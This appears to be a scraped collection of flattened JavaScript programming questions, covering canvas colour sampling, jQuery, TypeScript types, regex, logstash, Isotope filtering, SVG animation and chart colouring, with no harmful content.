( ) { try { // get dominant color by sampling the central square of a 3x3 grid on image var dominantColor = getDominantColor ( ) ; // output color $ ( `` # output '' ) .html ( dominantColor ) ; } catch ( e ) { $ ( `` # output '' ) .html ( e ) ; } } ; image.src = `` sample_image.jpg '' ; function getDominantColor ( ) { // Copy image to canvas var canvas = $ ( `` < canvas/ > '' ) [ 0 ] ; canvas.width = image.width ; canvas.height = image.height ; canvas.getContext ( `` 2d '' ) .drawImage ( image , 0 , 0 ) ; // get pixels from the central square of a 3x3 grid var imageData = canvas.getContext ( `` 2d '' ) .getImageData ( canvas.width/3 , canvas.height/3 , canvas.width/3 , canvas.height/3 ) .data ; var colorOccurrences = { } ; var dominantColor = `` '' ; var dominantColorOccurrence = 0 ; for ( var i = 0 ; i < imageData.length ; i += 4 ) { var red = imageData [ i ] ; var green = imageData [ i+1 ] ; var blue = imageData [ i+2 ] ; //var alpha = imageData [ i+3 ] ; // not required for this task var color = RGBtoHEX ( { `` red '' : red , `` green '' : green , `` blue '' : blue } ) ; if ( colorOccurrences [ color ] == undefined ) { colorOccurrences [ color ] = 1 ; } else { colorOccurrences [ color ] ++ ; if ( colorOccurrences [ color ] > dominantColorOccurrence ) { dominantColorOccurrence = colorOccurrences [ color ] ; dominantColor = color ; } } } return dominantColor ; } function RGBtoHEX ( rgb ) { var hexChars = `` 0123456789ABCDEF '' ; return `` # '' + ( hexChars [ ~~ ( rgb.red/16 ) ] + hexChars [ rgb.red % 16 ] ) + ( hexChars [ ~~ ( rgb.green/16 ) ] + hexChars [ rgb.green % 16 ] ) + ( hexChars [ ~~ ( rgb.blue/16 ) ] + hexChars [ rgb.blue % 16 ] ) ; }",Is canvas getImageData method machine/browser dependent ? JS : The idea is simple : you put a text in textarea press `` send '' and return a list of the repeating phrases . By phrases i mean two or more word repeating . My problem is that i have no idea how to detect these ( I can whit single words ) .And the HTML : The problem is of course i dont know even where to start . Any ides ? Example : Paris s the capital and most populous city of France . Paris and the Paris region account for more than 30 % of the gross domestic product of France and have one of the largest city GDPs in the world . $ ( function ( ) { $ ( `` # but '' ) .click ( function ( ) { var get = $ ( `` # inc '' ) .val ( ) ; $ ( `` # res '' ) .html ( get ) ; return false ; } ) ; } ) ; < form action= '' '' method= '' POST '' > < textarea name= '' inc '' id= '' inc '' spellcheck= '' false '' > < /textarea > < br > < input type= '' submit '' id= '' but '' value= '' Send '' > < /form > < div id= '' res '' > < /div >,javascript to create an array with the repeating phrases in a text "JS : i have transection and purchase collections , which is contaning transection and purchase details now i want to convert it into single collection.based on transectionid we need to combine the documents Below is my transection collection data'sbelow is my purchase collection datasmy expectation result : this is how order collecion should store { { `` transectionid '' : `` 1 '' , `` transectionamount '' : `` 2000 '' , `` transectiondate '' : `` 2016-07-12 19:22:28 '' , } , { `` transectionid '' : `` 2 '' , `` transectionamount '' : `` 1000 '' , `` transectiondate '' : `` 2016-07-12 20:17:11 '' , } { `` purchaseid '' : `` 1 '' , `` transectionid '' : `` 1 '' , `` itemprice '' : `` 1200 '' , `` itemcode '' : `` edcvb '' , `` itemquantity '' : `` 1 '' , } , { `` purchaseid '' : `` 2 '' , `` transectionid '' : `` 1 '' , `` itemprice '' : `` 800 '' , `` itemcode '' : `` dfgh '' , `` itemquantity '' : `` 2 '' , } , { `` purchaseid '' : `` 3 '' , `` transectionid '' : `` 2 '' , `` itemprice '' : `` 1000 '' , `` itemcode '' : `` zxcvb '' , `` itemquantity '' : `` 1 '' , } `` transectionid '' : `` 1 '' , `` transectionamount '' : `` 2000 '' , `` transectiondate '' : `` 2016-07-12 19:22:28 '' , `` items '' : [ { `` purchaseid '' : `` 1 '' , `` itemprice '' : '' 1200 '' , `` itemcode '' : `` edcvb '' , `` itemquantity '' : `` 1 '' , } , { `` purchaseid '' : `` 2 '' , `` itemprice '' : `` 800 '' , `` itemcode '' : `` dfgh '' , `` itemquantity '' : `` 2 '' , } ] } { `` transectionid '' : `` 2 '' , `` transectionamount '' : `` 1000 '' , `` transectiondate '' : `` 2016-07-12 20:17:11 '' , `` items '' : [ { `` purchaseid '' : `` 3 '' , `` itemprice '' : '' 1000 '' , `` itemcode '' : `` zxcvb '' , `` itemquantity '' : `` 1 '' , } ] }",How to combine two collection based on id ( transectionid ) using node.js ? "JS : I want to create a function chain , which would be an input of a pipe/flow/compose function.Is this possible without the literal expansion of the types to selected depth , as is this usually handled ? See lodash 's flow.I want to achieve typecheck of the data flow in the chain . - Argument of a function is result of the previous one - First argument is a template parameter - Last return is a template parameterThe idea is in the draft.This however produces tho following errors : Type alias 'Chain ' circularly references itself . ( understand why , do n't know how to resole ) A rest element type must be an array type . ( probably spread is not available for generic tuples ) Type 'Chain ' is not generic . ( do n't even understand why this error is even here ) Is this definition of Chain possible in Typescript ? If so , please enclose a snippet . ( Tested on latest tsc 3.1.6 ) type Chain < In , Out , Tmp1 = any , Tmp2 = any > = [ ] | [ ( arg : In ) = > Out ] | [ ( arg : In ) = > Tmp1 , ( i : Tmp1 ) = > Tmp2 , ... Chain < Tmp2 , Out > ] ;",Typescript recursive function composition "JS : When I am developing in jQuery , I frequently find myself typing selectors into the Chrome/Firebug console and seeing what they give me . They are always nicely formatted as if they were arrays : I am trying to work out what it is that makes the console treat an object as an array . For instance , the following custom object is not treated as an array : If I then add a length property and a splice method , it magically works as an array , with any properties with integer keys treated as members of the arrays : So essentially my question is : what determines whether the console displays an object as an array ? Is there any rationale to it , or is it a completely arbitrary `` if an object has these properties , it must be an array ? '' If so , what are the decisive properties ? function ElementWrapper ( id ) { this [ 0 ] = document.getElementById ( id ) ; } function ElementWrapper ( id ) { this [ 0 ] = document.getElementById ( id ) ; this.length = 1 ; this.splice = Array.prototype.splice ; }",What makes Firebug/Chrome console treat a custom object as an array ? "JS : Given a sorted array of integers a , find such an integer x that the value ofabs ( a [ 0 ] - x ) + abs ( a [ 1 ] - x ) + ... + abs ( a [ a.length - 1 ] - x ) is the smallest possible ( here abs denotes the absolute value ) .If there are several possible answers , output the smallest one.ExampleFor a = [ 2 , 4 , 7 ] , the output should beabsoluteValuesSumMinimization ( a ) = 4.I was able to solve this by brute forcing it but then i came upon thislooking to learn how/why this works . function absoluteValuesSumMinimization ( A ) { return A [ Math.ceil ( A.length/2 ) -1 ] ; }",Explaining the math behind an algorithm "JS : I 'm trying to match the last segment of a url , if and only if it is not preceded by a specific segment ( 'news-events ' ) . So , for example , I would like to match 'my-slug ' here : ... but not here : I 'm working with javascript -- have tried something like this : ... but the word boundary approach does n't work here , as the / char serves as a boundary between the segments ( so , the last segment gets selected , whether or not it is preceded by 'news-events'.Any thoughts would be appreciated.Thanks much . http : //example.com/my-slug http : //example.com/news-events/my-slug \b ( ? ! news-events ) ( \/\w+ ) \b $",Regex to match url segment only if not preceded by specific parent segment "JS : According to the MDN documentation for new Array ( length ) I can initialize an array with a given length as such : However , apparently I ca n't use methods such as map ( ... ) on the new array , even though arrays constructed in other ways work fine : Why is this the case ? I understand from this experience ( and searching the web ) that the array constructor with length is a black hole of unexplained behavior , but does the ECMA 262 specification offer an explanation ? var a = new Array ( 10 ) ; a.length ; // = > 10a ; // = > [ undefined x 10 ] a.map ( function ( ) { return Math.random ( ) ; } ) ; // = > [ undefined x 10 ] -- wtf ? [ undefined , undefined ] .map ( function ( ) { return Math.random ( ) ; } ) ; // = > [ 0.07192076672799885 , 0.8052175589837134 ]",Is a new JavaScript array with length unusable ? "JS : The website is http : //www.ipalaces.org/support/ The code I use for the status indicators is which is a neat thing that big.oscar.aol.com lets you do , it redirects it to whatever image you have set for the on_url if they are online , and same for off_url for offline . However , I want to use this in an if statement in PHP or javascript to display different things . Currently I am using this : The problem with this code is that for some reason , at random times it can take up to 12 seconds for it to actually retrieve the results . Whereas the standard img trick is almost instant . Is there a known issue with curl ? Is there a faster way ? I 've seen someone try to read the .src of the img tag and do an if statement like that , but I couldnt get it to work . < img src= '' http : //big.oscar.aol.com/imperialpalaces ? on_url=http : //www.ipalaces.org/support/widget/status_green.gif & off_url=http : //www.ipalaces.org/support/widget/status_offline.gif '' > function getaim ( $ screenname ) { $ ch = curl_init ( ) ; $ url = `` http : //big.oscar.aol.com/ $ screenname ? on_url=true & off_url=false '' ; curl_setopt ( $ ch , CURLOPT_URL , $ url ) ; curl_setopt ( $ ch , CURLOPT_RETURNTRANSFER,1 ) ; // added to fix php 5.1.6 issue : curl_setopt ( $ ch , CURLOPT_HEADER , 1 ) ; $ result = curl_exec ( $ ch ) ; curl_close ( $ ch ) ; if ( eregi ( `` true '' , $ result ) ) { return true ; } else { return false ; } } If ( getaim ( `` ImperialPalaces '' ) ) { print `` Online '' ; } else { print `` Offline '' ; }",javascript or PHP option to detect AIM status "JS : I have created an clone element function which can be viewed view demo here . When the reset button is pressed it removes all cloned item elements , however when attempting to add another item the item list , the 'NEW ' added item are not visible with the DOM . $ ( ' # add-btn ' ) .on ( 'click ' , function ( ) { $ ( '.list-items : first ' ) .clone ( ) .appendTo ( `` # items '' ) .addClass ( 'isVisible ' ) ; $ ( ' # items-fields ' ) .val ( `` ) ; } ) // RESET BUTTON $ ( '.reset ' ) .on ( 'click ' , function ( ) { if ( $ ( '.list-items ' ) .length ! = 1 ) ; $ ( '.list-items : last ' ) .remove ( ) ; event.preventDefault ( ) ; } )",How to prevent jQuery .remove ( ) from deleting parent class "JS : I was trying to make my code smaller by caching functions to variables . For example : So instead of calling Array.prototype.slice.call ( arguments ) , I can just do a.call ( arguments ) ; .I was trying to make this even smaller by caching Array.prototype.slice.call , but that was n't working.This gives me TypeError : object is not a function . Why is that ? typeof Array.prototype.slice.call returns `` function '' , like expected.Why ca n't I save .call to a variable ( and then call it ) ? function test ( ) { var a = Array.prototype.slice , b = a.call ( arguments ) ; // Do something setTimeout ( function ( ) { var c = a.call ( arguments ) ; // Do something else } , 200 ) ; } function test ( ) { var a = Array.prototype.slice.call , b = a ( arguments ) ; // Do something setTimeout ( function ( ) { var c = a ( arguments ) ; // Do something else } , 200 ) ; }",`` object is not a function '' when saving function.call to a variable "JS : Exploring Yeoman , and like to know how can I update a package.I initialized an angular projectthe version included in app/script/vendor ( which also included in index.html ) is AngularJS v1.0.1How can I upgrade to AngularJS v1.0.2 , which is the latest.There is a command yeoman update , but that only updating the packages installed through yeoman . The packages installed through yeoman lives in app/components.So , the questions areWhy there is a vendor and components folder.How can upgrade Angular to latest version ( without breaking whatever dependency management yeoman provides ) thanks . yeoman init angular",Yeoman component vs vendor files and upgrading "JS : I have an issue generating a chart with CanvasJS.Basically I get the data from the API , I can see and check the JSON array but when I 'm going to generate the dataPoint for the graph I get 2 errors : data invalid on the data field and NaN on the value field.Can someone give me a hint ? Here the code https : //jsfiddle.net/azacrown/qkhb0dv3/Cheers // Fetching the datafetch ( 'url ' ) .then ( response = > { return response.json ( ) ; } ) .then ( data = > { // Work with JSON data here var jsonData = data ; // Generating Data Points var dataPoints = [ ] ; for ( var i = 0 ; i < = jsonData.length - 1 ; i++ ) { dataPoints.push ( { y : new Date ( jsonData [ i ] .source_ts ) , x : Number ( jsonData [ i ] .renewablesobligationconsumption ) } ) ; console.log ( dataPoints ) ; } var chart = new CanvasJS.Chart ( `` chartContainer '' , { data : [ { dataPoints : dataPoints , type : `` line '' , } ] } ) ; chart.render ( ) ; } ) .catch ( err = > { throw new Error ( 'Impossible to get data ' ) ; } ) ;",Dynamic Chart with JSON data - CanvasJS "JS : ProblemI wrote a script for informing user that the page is loading slowly ( say , it is because of slow internet connection ) . The script is put first in the < head > < /head > and is quite simple : QuestionIn the current example information is simply alerted . Is there any other possible way to inform user about slow loading of the page ( particularly when some js or css file in the head is really big and takes some time to load ) ? I 've tried manipulating the DOM ( which is , in my opinion , is not right thing to do before document is ready ) and document.body resulted in null . AdditionalThe solution with setting an interval is from here . Any other ideas of how to do that are greatly appreciated . var GLOBAL_TIMEOUT = setInterval ( function ( ) { alert ( `` The Internet connection is slow . Please continue waiting . `` ) ; } , 30000 ) ; //clear that interval somewhere else when document is ready $ ( function ( ) { clearInterval ( GLOBAL_TIMEOUT ) ; } ) ;",Possible actions before document is ready "JS : I have a div that looks like Clases are in no specific order . If I do $ ( 'div ' ) .attr ( 'class ' ) then I get a list of all the classes for that div . What I want is to only get classes that are not resizable , draggableor table . In this case i want abc shadow . How do I do this . < div class= '' draggable resizable abc table shadow '' > < /div >",jQuery get certain classes but not others "JS : I have this code block : state will be an 8 bit number : 00000000prev_state will be an 8 bit number : 11001110These numbers relate to switch states , so the first in state means pin 1 is off . In prev_state the first 1 means the switch 8 is on.I understand the simple code execution , its these bits I ca n't get my head round : Any explanation on this matter would help immensely ! EventBus.on ( 'pfio.inputs.changed ' , function ( state , prev_state ) { var changed = prev_state ^ state ; for ( var pin = 0 ; pin < 8 ; pin++ ) { if ( ( changed & ( 1 < < pin ) ) === ( 1 < < pin ) ) { EventBus.emit ( 'pfio.input.changed ' , pin , ( ( state & ( 1 < < pin ) ) === ( 1 < < pin ) ) ) ; } } } ) ; ( changed & ( 1 < < pin ) ) === ( 1 < < pin ) ) ( ( state & ( 1 < < pin ) ) === ( 1 < < pin ) ) ) ; prev_state ^ state ;",Explanation of JavaScript bit operators in this function "JS : I 'm actually using node-bunyan to manage log information through elasticsearch and logstash and I m facing a problem.In fact , my log file has some informations , and fills great when I need it.The problem is that elastic search does n't find anything on http : //localhost:9200/logstash-*/I have an empty object and so , I cant deliver my log to kibana.Here 's my logstash conf file : And my js code : NB : the logs are well written in the log files . The problem is between logstash and elasticsearch : -/EDIT : querying http : //localhost:9200/logstash-*/ gives me `` { } '' an empty JSON objectThanks for advance input { file { type = > `` nextgen-app '' path = > [ `` F : \NextGen-dev\RestApi\app\logs\*.log '' ] codec = > `` json '' } } output { elasticsearch { host = > `` localhost '' protocol = > `` http '' } } log = bunyan.createLogger ( { name : 'myapp ' , streams : [ { level : 'info ' , path : './app/logs/nextgen-info-log.log ' } , { level : 'error ' , path : './app/logs/nextgen-error-log.log ' } ] } ) router.all ( '* ' , ( req , res , next ) = > log.info ( req.url ) log.info ( req.method ) next ( ) )",Using logstash and elasticseach JS : i have html code block like thiswhen we click on the div ( id=some-div ) popup message coming but when i click on the link ( class=link-click ) i need to run another javascript function . but the thing is when i click on link-click it also runs some-div function too . means on click both function gets run.how do i prevent concurrent javascript function execution . i 'm using jquery too.thanks < div id= '' some-div '' > < a href= '' # '' class= '' link-click '' > some link text < /a > < div id= '' small-text '' > here is the small text < /div > //another text block < /div > < script type= '' text/javascript '' > $ ( ' # some-div ' ) .click ( function ( ) { //some task goes here } ) ; $ ( '.link-click ' ) .click ( function ( ) { //some task goes here for link } ) ; $ ( ' # small-text ' ) .click ( function ( ) { //some task goes here for small div } ) ; < /script >,How to prevent concurrent javascript executions ? "JS : I am currently reading JavaScript from JavaScript : The Definitive Guide . On page 76 , there is this statement written , Being a Java programmer I want to ask , why is it returning 1 instead of 'true ' In Java this was not the case , but anyway I know JavaScript is different but the Logical AND mechanism is the same everywhere . ( In C it returns 1 as true . ) I am asking is , why does it makes sense for this behavior at all ? Is there any way , I can ensure to return only the true or false values ? o & & o.x // = > 1 : o is truthy , so return value of o.x",' & & ' operator in Javascript vs in Java "JS : I 've got a variable , let 's call it myNum , containing a 32-bit value . I 'd like to turn it into a 4-byte string where each byte of the string corresponds to part of myNum.I 'm trying to do something like the following ( which does n't work ) : For example , if myNum was equal to 350 then str would look like 0x00,0x00,0x01,0x5e when I examine it in wireshark.charCodeFrom ( ) only does what I want when each individual byte has a value < = 0x7f . Is there a browser-independent way to do what I 'm trying to do ? thanks var myNum = someFunctionReturningAnInteger ( ) ; var str = `` '' ; str += String.charCodeFrom ( ( myNum > > > 24 ) & 0xff ) ; str += String.charCodeFrom ( ( myNum > > > 16 ) & 0xff ) ; str += String.charCodeFrom ( ( myNum > > > 8 ) & 0xff ) ; str += String.charCodeFrom ( myNum & 0xff ) ;",Convert an integer to a string of bytes "JS : Open up a browser console and execute the following code : Then , Then , If you continue to execute foo.test ( `` foo '' ) , you will see alternating true/false responses as if the var foo is actually being modified.Anyone know why this is happening ? var foo = /foo/g ; foo.test ( `` foo '' ) // true foo.test ( `` foo '' ) // false",Is JavaScript test ( ) saving state in the regex ? "JS : I am trying to get my isotope post page to work with a Load More button ( as seen here : https : //codepen.io/bebjakub/pen/jWoYEO ) . I have the code working on Codepen , but I could n't get it working on the website.Working Codepen ( My ( Filtering & Load More ) - https : //codepen.io/whitinggg/pen/qyvVwzLive Page Link - HereI am currently seeing this error in console in regards to my isotope.js file : Can anyone help with what this error means ? Please help me to resolve the it.My Isotope.js File Uncaught TypeError : Can not read property 'filteredItems ' of undefined at loadMore ( isotope.js ? v=2.2.7:53 ) at HTMLDocument. < anonymous > ( isotope.js ? v=2.2.7:48 ) at i ( jquery.js ? ver=1.12.4:2 ) at Object.fireWith [ as resolveWith ] ( jquery.js ? ver=1.12.4:2 ) at Function.ready ( jquery.js ? ver=1.12.4:2 ) at HTMLDocument.K ( jquery.js ? ver=1.12.4:2 ) jQuery ( function ( $ ) { // with jQuery var $ container = $ ( '.grid ' ) .isotope ( { itemSelector : '.grid-item ' , layoutMode : 'packery ' , columnWidth : '.grid-sizer ' , packery : { gutter : '.gutter-sizer ' } } ) ; //Add the class selected to the item that is clicked , and remove from the others var $ optionSets = $ ( ' # filters ' ) , $ optionLinks = $ optionSets.find ( ' a ' ) ; $ optionLinks.click ( function ( ) { var $ this = $ ( this ) ; // do n't proceed if already selected if ( $ this.hasClass ( 'selected ' ) ) { return false ; } var $ optionSet = $ this.parents ( ' # filters ' ) ; $ optionSets.find ( '.selected ' ) .removeClass ( 'selected ' ) ; $ this.addClass ( 'selected ' ) ; //When an item is clicked , sort the items . var selector = $ ( this ) .attr ( 'data-filter ' ) ; $ container.isotope ( { filter : selector } ) ; return false ; } ) ; // layout Isotope after each image loads $ container.imagesLoaded ( ) .progress ( function ( ) { $ container.isotope ( 'layout ' ) ; } ) ; //**************************** // Isotope Load more button //**************************** var initShow = 15 ; //number of items loaded on init & onclick load more button var counter = initShow ; //counter for load more button var iso = $ container.data ( 'grid ' ) ; // get Isotope instance loadMore ( initShow ) ; //execute function onload function loadMore ( toShow ) { $ container.find ( `` .hidden '' ) .removeClass ( `` hidden '' ) ; var hiddenElems = iso.filteredItems.slice ( toShow , iso.filteredItems.length ) .map ( function ( item ) { return item.element ; } ) ; $ ( hiddenElems ) .addClass ( 'hidden ' ) ; $ container.isotope ( 'layout ' ) ; //when no more to load , hide show more button if ( hiddenElems.length == 0 ) { jQuery ( `` # load-more '' ) .hide ( ) ; } else { jQuery ( `` # load-more '' ) .show ( ) ; } ; } //append load more button $ container.after ( ' < button id= '' load-more '' > Load More < /button > ' ) ; //when load more button clicked $ ( `` # load-more '' ) .click ( function ( ) { if ( $ ( ' # filters ' ) .data ( 'clicked ' ) ) { //when filter button clicked , set initial value for counter counter = initShow ; $ ( ' # filters ' ) .data ( 'clicked ' , false ) ; } else { counter = counter ; } ; counter = counter + initShow ; loadMore ( counter ) ; } ) ; //when filter button clicked $ ( `` # filters '' ) .click ( function ( ) { $ ( this ) .data ( 'clicked ' , true ) ; loadMore ( initShow ) ; } ) } ) ;",Isotope - Can not read property 'filteredItems ' of undefined "JS : I 'm pretty new in SVG , I have a codepenThe question is how to animate svg from left to right ? now the whole svg fill together . < svg width= '' 249 '' height= '' 52 '' viewBox= '' 0 0 249 32 '' version= '' 1.1 '' xmlns= '' http : //www.w3.org/2000/svg '' > < g id= '' # 000000ff '' > < path stroke= '' # f7b547 '' stroke-width= '' 2 '' stroke-miterlimit= '' 10 '' fill= '' # fff '' opacity= '' 1.00 '' d= '' M 183.73 0.00 L 187.27 0.00 C 187.27 6.40 187.25 12.80 187.29 19.19 C 190.78 19.99 194.44 20.48 197.99 19.79 C 200.40 18.19 198.99 14.49 199.52 12.00 C 200.60 12.00 201.68 12.00 202.76 12.00 C 202.82 14.29 202.77 16.59 203.12 18.86 C 204.16 19.60 205.37 20.05 206.53 20.58 C 206.63 18.08 206.47 15.54 206.95 13.07 C 208.11 7.91 216.71 7.44 218.61 12.30 C 219.76 14.95 218.31 17.66 217.29 20.08 C 220.17 20.03 223.07 20.16 225.93 19.75 C 227.46 17.51 226.68 14.55 226.98 12.00 C 228.10 12.00 229.22 12.00 230.34 12.01 C 230.48 14.28 230.26 16.63 230.94 18.83 C 231.82 20.25 233.49 20.06 234.92 19.92 C 236.23 17.52 235.60 14.62 235.83 12.00 C 236.66 12.00 238.31 12.00 239.13 12.00 C 239.24 14.14 239.13 16.32 239.59 18.43 C 240.51 20.31 242.90 19.71 244.58 19.92 C 244.69 17.28 244.74 14.64 244.77 12.00 C 245.67 12.00 247.47 12.01 248.37 12.01 C 248.02 15.37 249.10 19.73 246.10 22.15 C 243.77 24.00 240.85 22.38 238.45 21.57 C 235.54 23.16 232.33 23.15 229.44 21.53 C 225.69 23.22 221.54 23.15 217.52 22.98 C 218.26 24.60 219.14 26.20 219.47 27.98 C 219.53 29.76 217.98 30.88 216.86 32.00 L 212.37 32.00 C 207.96 31.41 207.10 26.90 206.83 23.22 C 204.92 22.94 203.02 22.64 201.13 22.29 C 196.65 23.26 191.98 23.37 187.52 22.22 C 186.89 26.45 184.83 30.73 180.40 32.00 L 171.38 32.00 C 168.91 31.04 166.37 29.53 165.41 26.92 C 164.06 23.28 164.60 19.31 164.50 15.51 C 165.37 15.52 167.11 15.53 167.98 15.54 C 168.14 19.12 167.43 22.92 168.71 26.34 C 170.61 29.59 174.91 29.13 178.12 29.02 C 180.94 29.10 183.65 26.88 183.62 23.96 C 183.96 15.98 183.61 7.99 183.73 0.00 M 211.91 11.56 C 210.02 14.16 209.90 17.34 210.10 20.43 C 212.93 19.57 216.40 17.59 215.70 14.08 C 215.71 12.04 213.26 12.15 211.91 11.56 M 209.95 22.35 C 210.34 24.13 210.38 26.04 211.26 27.67 C 212.47 29.68 215.93 29.56 216.59 27.11 C 216.37 23.68 212.53 23.19 209.95 22.35 Z '' / > < path stroke= '' # f7b547 '' stroke-width= '' 2 '' stroke-miterlimit= '' 10 '' fill= '' # fff '' opacity= '' 1.00 '' d= '' M 27.53 1.00 C 28.40 1.00 30.13 1.00 31.00 1.00 C 31.26 6.89 30.43 12.89 31.43 18.70 C 34.27 20.31 37.80 20.14 40.96 19.88 C 43.46 18.29 41.97 14.54 42.45 12.02 C 43.57 12.01 44.70 12.00 45.83 11.99 C 45.86 14.27 45.74 16.56 46.06 18.82 C 48.16 21.07 52.03 19.99 54.75 19.61 C 56.32 17.62 55.30 14.44 55.65 12.00 C 56.57 12.00 58.41 12.01 59.33 12.01 C 59.17 15.70 60.02 20.95 55.79 22.70 C 51.94 23.35 47.92 23.25 44.15 22.21 C 40.24 23.21 36.13 23.29 32.15 22.80 C 30.13 22.50 27.69 21.36 27.65 19.00 C 27.31 13.01 27.64 7.00 27.53 1.00 Z '' / > < path stroke= '' # f7b547 '' stroke-width= '' 2 '' stroke-miterlimit= '' 10 '' fill= '' # fff '' opacity= '' 1.00 '' d= '' M 117.53 1.00 C 118.40 1.00 120.13 1.00 121.00 1.00 C 121.24 6.89 120.48 12.86 121.39 18.70 C 123.50 19.84 126.32 20.45 128.62 19.62 C 130.47 17.65 129.28 14.47 129.64 12.00 C 130.50 12.00 132.21 12.00 133.06 12.00 C 133.42 14.74 131.98 19.50 135.88 20.09 C 138.60 16.87 139.31 11.80 143.44 9.69 C 147.28 7.36 152.03 10.92 152.30 15.01 C 152.54 17.84 152.00 21.85 148.81 22.78 C 144.86 23.24 140.85 23.05 136.89 22.95 C 134.95 23.12 133.57 21.67 132.19 20.57 C 129.22 23.65 124.65 23.52 120.80 22.46 C 119.24 22.04 117.70 20.83 117.66 19.08 C 117.30 13.07 117.65 7.03 117.53 1.00 M 139.81 19.94 C 142.62 19.99 145.42 19.99 148.23 19.95 C 148.66 17.27 149.74 13.68 147.05 11.83 C 143.08 12.59 141.69 16.91 139.81 19.94 Z '' / > < path stroke= '' # f7b547 '' stroke-width= '' 2 '' stroke-miterlimit= '' 10 '' fill= '' # fff '' opacity= '' 1.00 '' d= '' M 82.10 7.20 C 82.93 7.13 84.58 6.99 85.41 6.92 C 85.54 8.66 85.57 11.42 83.01 11.03 C 80.86 11.53 79.87 7.70 82.10 7.20 Z '' / > < path stroke= '' # f7b547 '' stroke-width= '' 2 '' stroke-miterlimit= '' 10 '' fill= '' # fff '' opacity= '' 1.00 '' d= '' M 87.97 9.88 C 86.21 7.98 90.11 5.76 91.50 7.55 C 91.91 7.92 92.75 8.67 93.16 9.04 C 91.88 10.31 89.18 12.36 87.97 9.88 Z '' / > < path stroke= '' # f7b547 '' stroke-width= '' 2 '' stroke-miterlimit= '' 5 '' fill= '' # fff '' opacity= '' 1.00 '' d= '' M 102.52 8.49 C 103.30 7.65 104.09 6.80 104.89 5.96 C 107.71 9.16 110.93 12.02 113.51 15.43 C 115.61 17.95 114.12 22.12 110.93 22.79 C 106.74 23.30 102.50 22.92 98.29 22.96 C 98.18 22.22 97.97 20.74 97.86 20.00 C 102.28 20.00 106.70 20.11 111.11 19.79 C 110.36 14.83 105.47 12.13 102.52 8.49 Z '' / > < path stroke= '' # f7b547 '' stroke-width= '' 2 '' stroke-miterlimit= '' 5 '' fill= '' # fff '' opacity= '' 1.00 '' d= '' M 8.27 11.00 C 7.89 8.92 10.75 9.13 12.05 8.71 C 12.41 9.26 13.13 10.36 13.48 10.91 C 13.06 11.51 12.21 12.72 11.79 13.32 C 10.52 12.71 8.03 13.02 8.27 11.00 Z '' / > < path stroke= '' # f7b547 '' stroke-width= '' 2 '' stroke-miterlimit= '' 5 '' fill= '' # fff '' opacity= '' 1.00 '' d= '' M 19.58 12.00 C 20.50 12.00 22.34 12.00 23.26 12.00 C 23.15 16.83 23.80 21.80 22.48 26.52 C 21.66 29.38 18.94 30.95 16.36 32.00 L 7.39 32.00 C 4.59 30.98 1.83 29.07 1.00 26.05 C 0.20 22.60 0.57 19.03 0.51 15.53 C 1.34 15.52 3.02 15.50 3.85 15.50 C 3.93 18.88 3.49 22.37 4.37 25.69 C 5.91 29.49 10.69 29.22 14.08 29.02 C 16.49 29.03 19.16 27.43 19.44 24.87 C 19.86 20.59 19.55 16.29 19.58 12.00 Z '' / > < path stroke= '' # f7b547 '' stroke-width= '' 2 '' stroke-miterlimit= '' 5 '' fill= '' # fff '' opacity= '' 1.00 '' d= '' M 81.69 14.67 C 84.10 10.74 90.72 11.19 92.65 15.36 C 93.91 18.71 93.64 22.46 93.05 25.92 C 92.46 29.22 89.32 31.02 86.42 32.00 L 77.53 32.00 C 75.24 31.05 72.76 29.80 71.79 27.34 C 70.41 23.74 70.94 19.78 70.83 16.00 C 71.68 16.00 73.39 16.00 74.24 16.00 C 74.36 19.37 73.80 22.90 74.85 26.17 C 76.78 29.88 81.64 29.13 85.11 28.94 C 88.28 28.90 89.39 25.61 90.60 23.28 C 87.94 22.94 85.27 22.61 82.60 22.32 C 81.49 19.98 80.15 17.15 81.69 14.67 M 84.33 18.59 C 85.80 20.43 88.40 19.84 90.44 20.15 C 89.72 18.05 89.10 14.21 85.98 15.05 C 84.16 14.96 83.78 17.25 84.33 18.59 Z '' / > < path stroke= '' # f7b547 '' stroke-width= '' 2 '' stroke-miterlimit= '' 5 '' fill= '' # fff '' opacity= '' 1.00 '' d= '' M 35.14 28.22 C 36.89 27.58 38.41 28.70 39.90 29.44 C 39.46 30.08 38.57 31.36 38.13 32.00 L 35.68 32.00 C 34.94 30.82 34.09 29.54 35.14 28.22 Z '' / > < path stroke= '' # f7b547 '' stroke-width= '' 2 '' stroke-miterlimit= '' 5 '' fill= '' # fff '' opacity= '' 1.00 '' d= '' M 41.62 28.87 C 42.64 28.35 43.67 27.87 44.72 27.44 C 45.10 28.10 45.85 29.40 46.22 30.05 C 45.92 30.54 45.31 31.51 45.01 32.00 L 42.35 32.00 C 41.96 31.00 41.05 29.98 41.62 28.87 Z '' / > < path stroke= '' # f7b547 '' stroke-width= '' 2 '' stroke-miterlimit= '' 5 '' fill= '' # fff '' opacity= '' 1.00 '' d= '' M 51.20 27.48 C 52.50 27.96 53.82 28.40 55.07 29.01 C 54.87 30.02 54.61 31.02 54.31 32.00 L 50.95 32.00 C 50.66 31.52 50.08 30.57 49.78 30.09 C 50.14 29.44 50.84 28.13 51.20 27.48 Z '' / > < path stroke= '' # f7b547 '' stroke-width= '' 2 '' stroke-miterlimit= '' 5 '' fill= '' # fff '' opacity= '' 1.00 '' d= '' M 192.14 28.22 C 193.89 27.59 195.40 28.70 196.89 29.43 C 196.45 30.07 195.57 31.36 195.13 32.00 L 192.68 32.00 C 191.93 30.82 191.09 29.53 192.14 28.22 Z '' / > < path stroke= '' # f7b547 '' stroke-width= '' 2 '' stroke-miterlimit= '' 5 '' fill= '' # fff '' opacity= '' 1.00 '' d= '' M 198.31 28.14 C 199.23 28.10 201.07 28.00 201.98 27.96 C 202.30 28.46 202.94 29.47 203.25 29.98 C 202.93 30.48 202.28 31.49 201.96 32.00 L 199.31 32.00 C 198.93 30.73 198.61 29.44 198.31 28.14 Z '' / > < /g > < /svg >",Animate SVG from left to right "JS : How can I change the color of the column in a stacked bar chart ? If I specify the colors attribute in my MakeBarChart function , it only takes the first parameter . And makes the other columns a lighter version of that color . This is what it looks like ; And this is the code ; How can I make the column all have their own separate color . function MakeBarChart ( tmpData ) { var barArray = [ ] ; barArray.push ( [ `` , 'Open ' , 'Wachten ' , 'Opgelost ' ] ) ; for ( key in tmpData ) { if ( tmpData.hasOwnProperty ( key ) ) { barArray.push ( [ 'Week ' + key , tmpData [ key ] [ 'active ' ] , tmpData [ key ] [ 'waiting ' ] , tmpData [ key ] [ 'closed ' ] ] ) } } var data = google.visualization.arrayToDataTable ( 